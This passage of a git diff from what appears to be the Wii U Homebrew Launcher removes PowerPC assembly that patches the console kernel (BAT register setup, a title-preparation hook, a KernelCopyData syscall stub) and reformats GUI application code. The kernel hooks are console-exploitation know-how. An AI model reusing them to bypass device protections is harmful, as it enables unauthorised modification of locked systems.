uint32_t default_stack2_size; // not sure because always 0 but very likely
|
||||
uint32_t default_redzone0_size; // not sure because always 0 but very likely
|
||||
uint32_t default_redzone1_size; // not sure because always 0 but very likely
|
||||
uint32_t default_redzone2_size; // not sure because always 0 but very likely
|
||||
uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker
|
||||
uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker
|
||||
uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker
|
||||
uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker
|
||||
uint32_t title_version; // from app.xml, 0x32 on mii maker
|
||||
/*
|
||||
// ---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
// the next part might be changing from title to title?! I don't think its important but nice to know maybe....
|
||||
// ---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
char mlc[4]; // string "mlc" on mii maker and sysmenu
|
||||
uint32_t unknown5[7]; // all zeros on mii maker and sysmenu
|
||||
uint32_t unknown6_one; // 0x01 on mii maker and sysmenu
|
||||
// ---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
char ACP[4]; // string "ACP" on mii maker and sysmenu
|
||||
uint32_t unknown7[15]; // all zeros on mii maker and sysmenu
|
||||
uint32_t unknown8_5; // 0x05 on mii maker and sysmenu
|
||||
uint32_t unknown9_zero; // 0x00 on mii maker and sysmenu
|
||||
uint32_t unknown10_ptr; // 0xFF23DD0C pointer on mii maker and sysmenu
|
||||
// ---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
char UVD[4]; // string "UVD" on mii maker and sysmenu
|
||||
uint32_t unknown11[15]; // all zeros on mii maker and sysmenu
|
||||
uint32_t unknown12_5; // 0x05 on mii maker and sysmenu
|
||||
uint32_t unknown13_zero; // 0x00 on mii maker and sysmenu
|
||||
uint32_t unknown14_ptr; // 0xFF23EFC8 pointer on mii maker and sysmenu
|
||||
// ---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
char SND[4]; // string "SND" on mii maker and sysmenu
|
||||
uint32_t unknown15[15]; // all zeros on mii maker and sysmenu
|
||||
uint32_t unknown16_5; // 0x05 on mii maker and sysmenu
|
||||
uint32_t unknown17_zero; // 0x00 on mii maker and sysmenu
|
||||
uint32_t unknown18_ptr; // 0xFF23F014 pointer on mii maker and sysmenu
|
||||
// ---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
uint32_t unknown19; // 0x02 on miimaker, 0x0F on system menu
|
||||
*/
|
||||
// after that only zeros follow
|
||||
} __attribute__((packed)) CosAppXmlInfo;
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __KERNEL_DEFS_H_
|
@ -1,69 +0,0 @@
|
||||
# This stuff may need a change in different kernel versions
|
||||
# This is only needed when launched directly through browser and not SD card.
|
||||
|
||||
.section ".kernel_code"
|
||||
.globl SaveAndResetDataBATs_And_SRs_hook
|
||||
SaveAndResetDataBATs_And_SRs_hook:
|
||||
# setup CTR to the position we need to return to
|
||||
mflr r5
|
||||
mtctr r5
|
||||
# set link register to its original value
|
||||
mtlr r7
|
||||
# setup us a nice DBAT for our code data with same region as our code
|
||||
mfspr r5, 560
|
||||
mtspr 570, r5
|
||||
mfspr r5, 561
|
||||
mtspr 571, r5
|
||||
# restore the original kernel instructions that we replaced
|
||||
lwz r5, 0x34(r3)
|
||||
lwz r6, 0x38(r3)
|
||||
lwz r7, 0x3C(r3)
|
||||
lwz r8, 0x40(r3)
|
||||
lwz r9, 0x44(r3)
|
||||
lwz r10, 0x48(r3)
|
||||
lwz r11, 0x4C(r3)
|
||||
lwz r3, 0x50(r3)
|
||||
isync
|
||||
mtsr 7, r5
|
||||
# jump back to the position in kernel after our patch (from LR)
|
||||
bctr
|
||||
|
||||
.extern my_PrepareTitle
|
||||
.globl my_PrepareTitle_hook
|
||||
my_PrepareTitle_hook:
|
||||
# store all registers on stack to avoid issues with the call to C functions
|
||||
stwu r1, -0x90(r1)
|
||||
# registers for our own usage
|
||||
# just store everything
|
||||
stmw r3, 0x10(r1)
|
||||
|
||||
# save the LR from where we came
|
||||
mflr r31
|
||||
|
||||
# the cos.xml/app.xml structure is at the location 0x68 of r11
|
||||
# there are actually many places that can be hooked for it
|
||||
# e.g. 0xFFF16130 and r27 points to this structure
|
||||
addi r3, r11, 0x68
|
||||
|
||||
bl my_PrepareTitle
|
||||
|
||||
# setup LR to jump back to kernel code
|
||||
mtlr r31
|
||||
|
||||
# restore all original values of registers from stack
|
||||
lmw r3, 0x10(r1)
|
||||
|
||||
# restore the stack
|
||||
addi r1, r1, 0x90
|
||||
|
||||
# restore original instruction that we replaced in the kernel
|
||||
clrlwi r7, r12, 0
|
||||
|
||||
# jump back
|
||||
blr
|
||||
|
||||
.globl SC0x25_KernelCopyData
|
||||
SC0x25_KernelCopyData:
|
||||
li r0, 0x2500
|
||||
sc
|
||||
blr
|
@ -1,23 +0,0 @@
|
||||
OUTPUT(sd_loader.elf);
|
||||
|
||||
ENTRY(_start);
|
||||
|
||||
SECTIONS {
|
||||
. = 0x00800000;
|
||||
.text : {
|
||||
*(.kernel_code*);
|
||||
*(.text*);
|
||||
/* Tell linker to not garbage collect this section as it is not referenced anywhere */
|
||||
KEEP(*(.kernel_code*));
|
||||
}
|
||||
.data : {
|
||||
*(.rodata*);
|
||||
*(.data*);
|
||||
*(.bss*);
|
||||
}
|
||||
/DISCARD/ : {
|
||||
*(*);
|
||||
}
|
||||
}
|
||||
|
||||
ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x1300, "Memory overlapping with main elf.");
|
@ -1,38 +0,0 @@
|
||||
#ifndef __LOADER_DEFS_H_
|
||||
#define __LOADER_DEFS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// struct holding the globals of the loader (there are actually more but we don't need others)
|
||||
typedef struct _loader_globals_t
|
||||
{
|
||||
int sgIsLoadingBuffer;
|
||||
int sgFileType;
|
||||
int sgProcId;
|
||||
int sgGotBytes;
|
||||
int sgFileOffset;
|
||||
int sgBufferNumber;
|
||||
int sgBounceError;
|
||||
char sgLoadName[0x1000];
|
||||
} __attribute__((packed)) loader_globals_t;
|
||||
|
||||
typedef struct _loader_globals_550_t
|
||||
{
|
||||
int sgFinishedLoadingBuffer;
|
||||
int sgFileType;
|
||||
int sgProcId;
|
||||
int sgGotBytes;
|
||||
int sgTotalBytes;
|
||||
int sgFileOffset;
|
||||
int sgBufferNumber;
|
||||
int sgBounceError;
|
||||
char sgLoadName[0x1000];
|
||||
} __attribute__((packed)) loader_globals_550_t;
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __LOADER_DEFS_H_
|
@ -16,15 +16,16 @@
|
||||
****************************************************************************/
|
||||
#include <coreinit/core.h>
|
||||
#include <coreinit/foreground.h>
|
||||
#include <coreinit/title.h>
|
||||
#include <proc_ui/procui.h>
|
||||
#include <sysapp/launch.h>
|
||||
#include "Application.h"
|
||||
#include "common/common.h"
|
||||
#include "gui/FreeTypeGX.h"
|
||||
#include "gui/VPadController.h"
|
||||
#include "gui/WPadController.h"
|
||||
#include <gui/FreeTypeGX.h>
|
||||
#include <gui/VPadController.h>
|
||||
#include <gui/WPadController.h>
|
||||
#include "resources/Resources.h"
|
||||
#include "sounds/SoundHandler.hpp"
|
||||
#include <gui/sounds/SoundHandler.hpp>
|
||||
#include "system/memory.h"
|
||||
#include "utils/logger.h"
|
||||
|
||||
@ -33,13 +34,12 @@ bool Application::exitApplication = false;
|
||||
bool Application::quitRequest = false;
|
||||
|
||||
Application::Application()
|
||||
: CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x20000)
|
||||
, bgMusic(NULL)
|
||||
, video(NULL)
|
||||
: CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x20000)
|
||||
, bgMusic(NULL)
|
||||
, video(NULL)
|
||||
, mainWindow(NULL)
|
||||
, fontSystem(NULL)
|
||||
, exitCode(EXIT_RELAUNCH_ON_LOAD)
|
||||
{
|
||||
, exitCode(EXIT_RELAUNCH_ON_LOAD) {
|
||||
controller[0] = new VPadController(GuiTrigger::CHANNEL_1);
|
||||
controller[1] = new WPadController(GuiTrigger::CHANNEL_2);
|
||||
controller[2] = new WPadController(GuiTrigger::CHANNEL_3);
|
||||
@ -47,7 +47,7 @@ Application::Application()
|
||||
controller[4] = new WPadController(GuiTrigger::CHANNEL_5);
|
||||
|
||||
//! load resources
|
||||
Resources::LoadFiles("fs:/wiiu/apps/homebrew_launcher/resources");
|
||||
Resources::LoadFiles("fs:/vol/external01/wiiu/apps/homebrew_launcher/resources");
|
||||
|
||||
//! create bgMusic
|
||||
bgMusic = new GuiSound(Resources::GetFile("bgMusic.ogg"), Resources::GetFileSize("bgMusic.ogg"));
|
||||
@ -55,13 +55,12 @@ Application::Application()
|
||||
bgMusic->Play();
|
||||
bgMusic->SetVolume(50);
|
||||
|
||||
exitApplication = false;
|
||||
exitApplication = false;
|
||||
|
||||
ProcUIInit(OSSavesDone_ReadyToRelease);
|
||||
}
|
||||
|
||||
Application::~Application()
|
||||
{
|
||||
Application::~Application() {
|
||||
log_printf("Destroy music\n");
|
||||
|
||||
delete bgMusic;
|
||||
@ -72,75 +71,68 @@ Application::~Application()
|
||||
delete controller[i];
|
||||
|
||||
log_printf("Destroy async deleter\n");
|
||||
AsyncDeleter::destroyInstance();
|
||||
AsyncDeleter::destroyInstance();
|
||||
|
||||
log_printf("Clear resources\n");
|
||||
Resources::Clear();
|
||||
|
||||
log_printf("Stop sound handler\n");
|
||||
SoundHandler::DestroyInstance();
|
||||
SoundHandler::DestroyInstance();
|
||||
|
||||
ProcUIShutdown();
|
||||
|
||||
if(quitRequest)
|
||||
{
|
||||
SYSRelaunchTitle(0, 0);
|
||||
}
|
||||
}
|
||||
|
||||
int Application::exec()
|
||||
{
|
||||
int Application::exec() {
|
||||
//! start main GX2 thread
|
||||
resumeThread();
|
||||
//! now wait for thread to finish
|
||||
shutdownThread();
|
||||
shutdownThread();
|
||||
|
||||
return exitCode;
|
||||
return exitCode;
|
||||
}
|
||||
|
||||
void Application::quit(int code)
|
||||
{
|
||||
void Application::quit(int code) {
|
||||
exitCode = code;
|
||||
exitApplication = true;
|
||||
quitRequest = true;
|
||||
}
|
||||
|
||||
void Application::fadeOut()
|
||||
{
|
||||
GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color){ 0, 0, 0, 255 });
|
||||
void Application::fadeOut() {
|
||||
GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color) {
|
||||
0, 0, 0, 255
|
||||
});
|
||||
|
||||
for(int i = 0; i < 255; i += 10)
|
||||
{
|
||||
for(int i = 0; i < 255; i += 10) {
|
||||
if(i > 255)
|
||||
i = 255;
|
||||
|
||||
fadeOut.setAlpha(i / 255.0f);
|
||||
|
||||
//! start rendering DRC
|
||||
video->prepareDrcRendering();
|
||||
mainWindow->drawDrc(video);
|
||||
video->prepareDrcRendering();
|
||||
mainWindow->drawDrc(video);
|
||||
|
||||
GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_ALWAYS);
|
||||
fadeOut.draw(video);
|
||||
GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL);
|
||||
|
||||
video->drcDrawDone();
|
||||
video->drcDrawDone();
|
||||
|
||||
//! start rendering TV
|
||||
video->prepareTvRendering();
|
||||
video->prepareTvRendering();
|
||||
|
||||
mainWindow->drawTv(video);
|
||||
mainWindow->drawTv(video);
|
||||
|
||||
GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_ALWAYS);
|
||||
fadeOut.draw(video);
|
||||
GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL);
|
||||
|
||||
video->tvDrawDone();
|
||||
video->tvDrawDone();
|
||||
|
||||
//! as last point update the effects as it can drop elements
|
||||
mainWindow->updateEffects();
|
||||
//! as last point update the effects as it can drop elements
|
||||
mainWindow->updateEffects();
|
||||
|
||||
video->waitForVSync();
|
||||
video->waitForVSync();
|
||||
}
|
||||
|
||||
//! one last cleared black screen
|
||||
@ -153,24 +145,19 @@ void Application::fadeOut()
|
||||
video->drcEnable(false);
|
||||
}
|
||||
|
||||
bool Application::procUI(void)
|
||||
{
|
||||
bool Application::procUI(void) {
|
||||
bool executeProcess = false;
|
||||
|
||||
switch(ProcUIProcessMessages(true))
|
||||
{
|
||||
case PROCUI_STATUS_EXITING:
|
||||
{
|
||||
switch(ProcUIProcessMessages(true)) {
|
||||
case PROCUI_STATUS_EXITING: {
|
||||
log_printf("PROCUI_STATUS_EXITING\n");
|
||||
exitCode = EXIT_SUCCESS;
|
||||
exitApplication = true;
|
||||
break;
|
||||
}
|
||||
case PROCUI_STATUS_RELEASE_FOREGROUND:
|
||||
{
|
||||
case PROCUI_STATUS_RELEASE_FOREGROUND: {
|
||||
log_printf("PROCUI_STATUS_RELEASE_FOREGROUND\n");
|
||||
if(video != NULL)
|
||||
{
|
||||
if(video != NULL) {
|
||||
// we can turn of the screen but we don't need to and it will display the last image
|
||||
video->tvEnable(true);
|
||||
video->drcEnable(true);
|
||||
@ -186,19 +173,14 @@ bool Application::procUI(void)
|
||||
log_printf("deinitialze memory\n");
|
||||
memoryRelease();
|
||||
ProcUIDrawDoneRelease();
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
ProcUIDrawDoneRelease();
|
||||
}
|
||||
break;
|
||||
}
|
||||
case PROCUI_STATUS_IN_FOREGROUND:
|
||||
{
|
||||
if(!quitRequest)
|
||||
{
|
||||
if(video == NULL)
|
||||
{
|
||||
case PROCUI_STATUS_IN_FOREGROUND: {
|
||||
if(!quitRequest) {
|
||||
if(video == NULL) {
|
||||
log_printf("PROCUI_STATUS_IN_FOREGROUND\n");
|
||||
log_printf("initialze memory\n");
|
||||
memoryInitialize();
|
||||
@ -212,8 +194,7 @@ bool Application::procUI(void)
|
||||
FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true);
|
||||
GuiText::setPresetFont(fontSystem);
|
||||
|
||||
if(mainWindow == NULL)
|
||||
{
|
||||
if(mainWindow == NULL) {
|
||||
log_printf("Initialize main window\n");
|
||||
mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight());
|
||||
}
|
||||
@ -232,19 +213,16 @@ bool Application::procUI(void)
|
||||
}
|
||||
|
||||
|
||||
void Application::executeThread(void)
|
||||
{
|
||||
void Application::executeThread(void) {
|
||||
log_printf("Entering main loop\n");
|
||||
|
||||
//! main GX2 loop (60 Hz cycle with max priority on core 1)
|
||||
while(!exitApplication)
|
||||
{
|
||||
if(procUI() == false)
|
||||
continue;
|
||||
while(!exitApplication) {
|
||||
if(procUI() == false)
|
||||
continue;
|
||||
|
||||
//! Read out inputs
|
||||
for(int i = 0; i < 5; i++)
|
||||
{
|
||||
//! Read out inputs
|
||||
for(int i = 0; i < 5; i++) {
|
||||
if(controller[i]->update(video->getTvWidth(), video->getTvHeight()) == false)
|
||||
continue;
|
||||
|
||||
@ -253,35 +231,34 @@ void Application::executeThread(void)
|
||||
}
|
||||
|
||||
//! start rendering DRC
|
||||
video->prepareDrcRendering();
|
||||
mainWindow->drawDrc(video);
|
||||
video->drcDrawDone();
|
||||
video->prepareDrcRendering();
|
||||
mainWindow->drawDrc(video);
|
||||
video->drcDrawDone();
|
||||
|
||||
//! start rendering TV
|
||||
video->prepareTvRendering();
|
||||
mainWindow->drawTv(video);
|
||||
video->tvDrawDone();
|
||||
video->prepareTvRendering();
|
||||
mainWindow->drawTv(video);
|
||||
video->tvDrawDone();
|
||||
|
||||
//! enable screen after first frame render
|
||||
if(video->getFrameCount() == 0) {
|
||||
if(video->getFrameCount() == 0) {
|
||||
video->tvEnable(true);
|
||||
video->drcEnable(true);
|
||||
}
|
||||
}
|
||||
|
||||
//! as last point update the effects as it can drop elements
|
||||
mainWindow->updateEffects();
|
||||
//! as last point update the effects as it can drop elements
|
||||
mainWindow->updateEffects();
|
||||
|
||||
video->waitForVSync();
|
||||
video->waitForVSync();
|
||||
|
||||
//! transfer elements to real delete list here after all processes are finished
|
||||
//! the elements are transfered to another list to delete the elements in a separate thread
|
||||
//! and avoid blocking the GUI thread
|
||||
AsyncDeleter::triggerDeleteProcess();
|
||||
}
|
||||
}
|
||||
|
||||
//! in case we exit to a homebrew let's smoothly fade out
|
||||
if(video)
|
||||
{
|
||||
if(video) {
|
||||
fadeOut();
|
||||
}
|
||||
|
||||
|
@ -18,14 +18,13 @@
|
||||
#define _APPLICATION_H
|
||||
|
||||
#include "menu/MainWindow.h"
|
||||
#include "video/CVideo.h"
|
||||
#include <gui/video/CVideo.h>
|
||||
#include "system/CThread.h"
|
||||
|
||||
// forward declaration
|
||||
class FreeTypeGX;
|
||||
|
||||
class Application : public CThread
|
||||
{
|
||||
class Application : public CThread {
|
||||
public:
|
||||
static Application * instance() {
|
||||
if(!applicationInstance)
|
||||
|
@ -18,6 +18,8 @@ extern "C" {
|
||||
#define MEM_BASE (0x00800000)
|
||||
#endif
|
||||
|
||||
#define HBL_TEMP_RPX_PATH "fs:/vol/external01/wiiu/apps/homebrew_launcher/temp"
|
||||
#define HBL_TEMP_RPX_FILE "fs:/vol/external01/wiiu/apps/homebrew_launcher/temp/temp.rpx"
|
||||
|
||||
#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00))
|
||||
#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04))
|
||||
|
@ -1,177 +0,0 @@
|
||||
#ifndef __GX2_EXTENSION_H
|
||||
#define __GX2_EXTENSION_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <gx2/draw.h>
|
||||
#include <gx2/enum.h>
|
||||
#include <gx2/mem.h>
|
||||
#include <gx2/registers.h>
|
||||
#include <gx2/sampler.h>
|
||||
#include <gx2/shaders.h>
|
||||
#include <gx2/surface.h>
|
||||
#include <gx2/texture.h>
|
||||
|
||||
#define GX2_FALSE 0
|
||||
#define GX2_TRUE 1
|
||||
#define GX2_DISABLE 0
|
||||
#define GX2_ENABLE 1
|
||||
|
||||
#define GX2_COMMAND_BUFFER_SIZE 0x400000
|
||||
#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000
|
||||
#define GX2_CONTEXT_STATE_ALIGNMENT 0x100
|
||||
#define GX2_SHADER_ALIGNMENT 0x100
|
||||
#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40
|
||||
#define GX2_INDEX_BUFFER_ALIGNMENT 0x20
|
||||
|
||||
#define GX2_AA_BUFFER_CLEAR_VALUE 0xCC
|
||||
|
||||
#define GX2_COMP_SEL_NONE 0x04040405
|
||||
#define GX2_COMP_SEL_X001 0x00040405
|
||||
#define GX2_COMP_SEL_XY01 0x00010405
|
||||
#define GX2_COMP_SEL_XYZ1 0x00010205
|
||||
#define GX2_COMP_SEL_XYZW 0x00010203
|
||||
#define GX2_COMP_SEL_XXXX 0x00000000
|
||||
#define GX2_COMP_SEL_YYYY 0x01010101
|
||||
#define GX2_COMP_SEL_ZZZZ 0x02020202
|
||||
#define GX2_COMP_SEL_WWWW 0x03030303
|
||||
#define GX2_COMP_SEL_WZYX 0x03020100
|
||||
#define GX2_COMP_SEL_WXYZ 0x03000102
|
||||
|
||||
static const u32 attribute_dest_comp_selector[20] = {
|
||||
GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001,
|
||||
GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW,
|
||||
GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1,
|
||||
GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW
|
||||
};
|
||||
|
||||
static const u32 texture_comp_selector[54] = {
|
||||
GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001,
|
||||
GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW,
|
||||
GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE,
|
||||
GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE,
|
||||
GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01,
|
||||
GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW,
|
||||
GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001,
|
||||
GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1,
|
||||
GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01
|
||||
};
|
||||
|
||||
typedef struct _GX2Color {
|
||||
u8 r, g, b, a;
|
||||
} GX2Color;
|
||||
|
||||
typedef struct _GX2ColorF32 {
|
||||
f32 r, g, b, a;
|
||||
} GX2ColorF32;
|
||||
|
||||
static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, GX2SurfaceDim dim, u32 width, u32 height, u32 depth, GX2SurfaceFormat format, GX2AAMode aa)
|
||||
{
|
||||
depthBuffer->surface.dim = dim;
|
||||
depthBuffer->surface.width = width;
|
||||
depthBuffer->surface.height = height;
|
||||
depthBuffer->surface.depth = depth;
|
||||
depthBuffer->surface.mipLevels = 1;
|
||||
depthBuffer->surface.format = format;
|
||||
depthBuffer->surface.aa = aa;
|
||||
depthBuffer->surface.use = (GX2SurfaceUse)(((format==GX2_SURFACE_FORMAT_UNORM_R24_X8) || (format==GX2_SURFACE_FORMAT_FLOAT_D24_S8)) ?
|
||||
GX2_SURFACE_USE_DEPTH_BUFFER : (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE));
|
||||
depthBuffer->surface.tileMode = GX2_TILE_MODE_DEFAULT;
|
||||
depthBuffer->surface.swizzle = 0;
|
||||
depthBuffer->viewMip = 0;
|
||||
depthBuffer->viewFirstSlice = 0;
|
||||
depthBuffer->viewNumSlices = depth;
|
||||
depthBuffer->depthClear = 1.0f;
|
||||
depthBuffer->stencilClear = 0;
|
||||
depthBuffer->hiZPtr = NULL;
|
||||
depthBuffer->hiZSize = 0;
|
||||
GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface);
|
||||
GX2InitDepthBufferRegs(depthBuffer);
|
||||
}
|
||||
|
||||
static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, GX2SurfaceDim dim, u32 width, u32 height, u32 depth, GX2SurfaceFormat format, GX2AAMode aa)
|
||||
{
|
||||
colorBuffer->surface.dim = dim;
|
||||
colorBuffer->surface.width = width;
|
||||
colorBuffer->surface.height = height;
|
||||
colorBuffer->surface.depth = depth;
|
||||
colorBuffer->surface.mipLevels = 1;
|
||||
colorBuffer->surface.format = format;
|
||||
colorBuffer->surface.aa = aa;
|
||||
colorBuffer->surface.use = GX2_SURFACE_USE_TEXTURE_COLOR_BUFFER_TV;
|
||||
colorBuffer->surface.imageSize = 0;
|
||||
colorBuffer->surface.image = NULL;
|
||||
colorBuffer->surface.mipmapSize = 0;
|
||||
colorBuffer->surface.mipmaps = NULL;
|
||||
colorBuffer->surface.tileMode = GX2_TILE_MODE_DEFAULT;
|
||||
colorBuffer->surface.swizzle = 0;
|
||||
colorBuffer->surface.alignment = 0;
|
||||
colorBuffer->surface.pitch = 0;
|
||||
u32 i;
|
||||
for(i = 0; i < 13; i++)
|
||||
colorBuffer->surface.mipLevelOffset[i] = 0;
|
||||
colorBuffer->viewMip = 0;
|
||||
colorBuffer->viewFirstSlice = 0;
|
||||
colorBuffer->viewNumSlices = depth;
|
||||
colorBuffer->aaBuffer = NULL;
|
||||
colorBuffer->aaSize = 0;
|
||||
for(i = 0; i < 5; i++)
|
||||
colorBuffer->regs[i] = 0;
|
||||
|
||||
GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface);
|
||||
GX2InitColorBufferRegs(colorBuffer);
|
||||
}
|
||||
|
||||
static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, GX2AttribFormat format)
|
||||
{
|
||||
attr->location = location;
|
||||
attr->buffer = buffer;
|
||||
attr->offset = offset;
|
||||
attr->format = format;
|
||||
attr->type = GX2_ATTRIB_INDEX_PER_VERTEX;
|
||||
attr->aluDivisor = 0;
|
||||
attr->mask = attribute_dest_comp_selector[format & 0xff];
|
||||
attr->endianSwap = GX2_ENDIAN_SWAP_DEFAULT;
|
||||
}
|
||||
|
||||
static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 mipLevels, GX2SurfaceFormat format, GX2SurfaceDim dim, GX2TileMode tile)
|
||||
{
|
||||
tex->surface.dim = dim;
|
||||
tex->surface.width = width;
|
||||
tex->surface.height = height;
|
||||
tex->surface.depth = depth;
|
||||
tex->surface.mipLevels = mipLevels;
|
||||
tex->surface.format = format;
|
||||
tex->surface.aa = GX2_AA_MODE1X;
|
||||
tex->surface.use = GX2_SURFACE_USE_TEXTURE;
|
||||
tex->surface.imageSize = 0;
|
||||
tex->surface.image = NULL;
|
||||
tex->surface.mipmapSize = 0;
|
||||
tex->surface.mipmaps = NULL;
|
||||
tex->surface.tileMode = tile;
|
||||
tex->surface.swizzle = 0;
|
||||
tex->surface.alignment = 0;
|
||||
tex->surface.pitch = 0;
|
||||
u32 i;
|
||||
for(i = 0; i < 13; i++)
|
||||
tex->surface.mipLevelOffset[i] = 0;
|
||||
tex->viewFirstMip = 0;
|
||||
tex->viewNumMips = mipLevels;
|
||||
tex->viewFirstSlice = 0;
|
||||
tex->viewNumSlices = depth;
|
||||
tex->compMap = texture_comp_selector[format & 0x3f];
|
||||
for(i = 0; i < 5; i++)
|
||||
tex->regs[i] = 0;
|
||||
|
||||
GX2CalcSurfaceSizeAndAlignment(&tex->surface);
|
||||
GX2InitTextureRegs(tex);
|
||||
}
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* COMMON_H */
|
||||
|
@ -5,8 +5,7 @@
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef struct _OsSpecifics
|
||||
{
|
||||
typedef struct _OsSpecifics {
|
||||
unsigned int addr_OSDynLoad_Acquire;
|
||||
unsigned int addr_OSDynLoad_FindExport;
|
||||
unsigned int addr_OSTitle_main_entry;
|
||||
@ -26,8 +25,7 @@ typedef struct _OsSpecifics
|
||||
unsigned int orig_LiWaitOneChunkInstr;
|
||||
} OsSpecifics;
|
||||
|
||||
typedef struct _s_mem_area
|
||||
{
|
||||
typedef struct _s_mem_area {
|
||||
unsigned int address;
|
||||
unsigned int size;
|
||||
struct _s_mem_area* next;
|
||||
|
@ -1,7 +0,0 @@
|
||||
#ifndef TYPES_H
|
||||
#define TYPES_H
|
||||
|
||||
#include <wut_types.h>
|
||||
|
||||
#endif /* TYPES_H */
|
||||
|
@ -1,112 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#include "common/common.h"
|
||||
#include "exports.h"
|
||||
#include "ax_functions.h"
|
||||
/*
|
||||
EXPORT_DECL(void, AXInitWithParams, u32 * params);
|
||||
EXPORT_DECL(void, AXInit, void);
|
||||
EXPORT_DECL(void, AXQuit, void);
|
||||
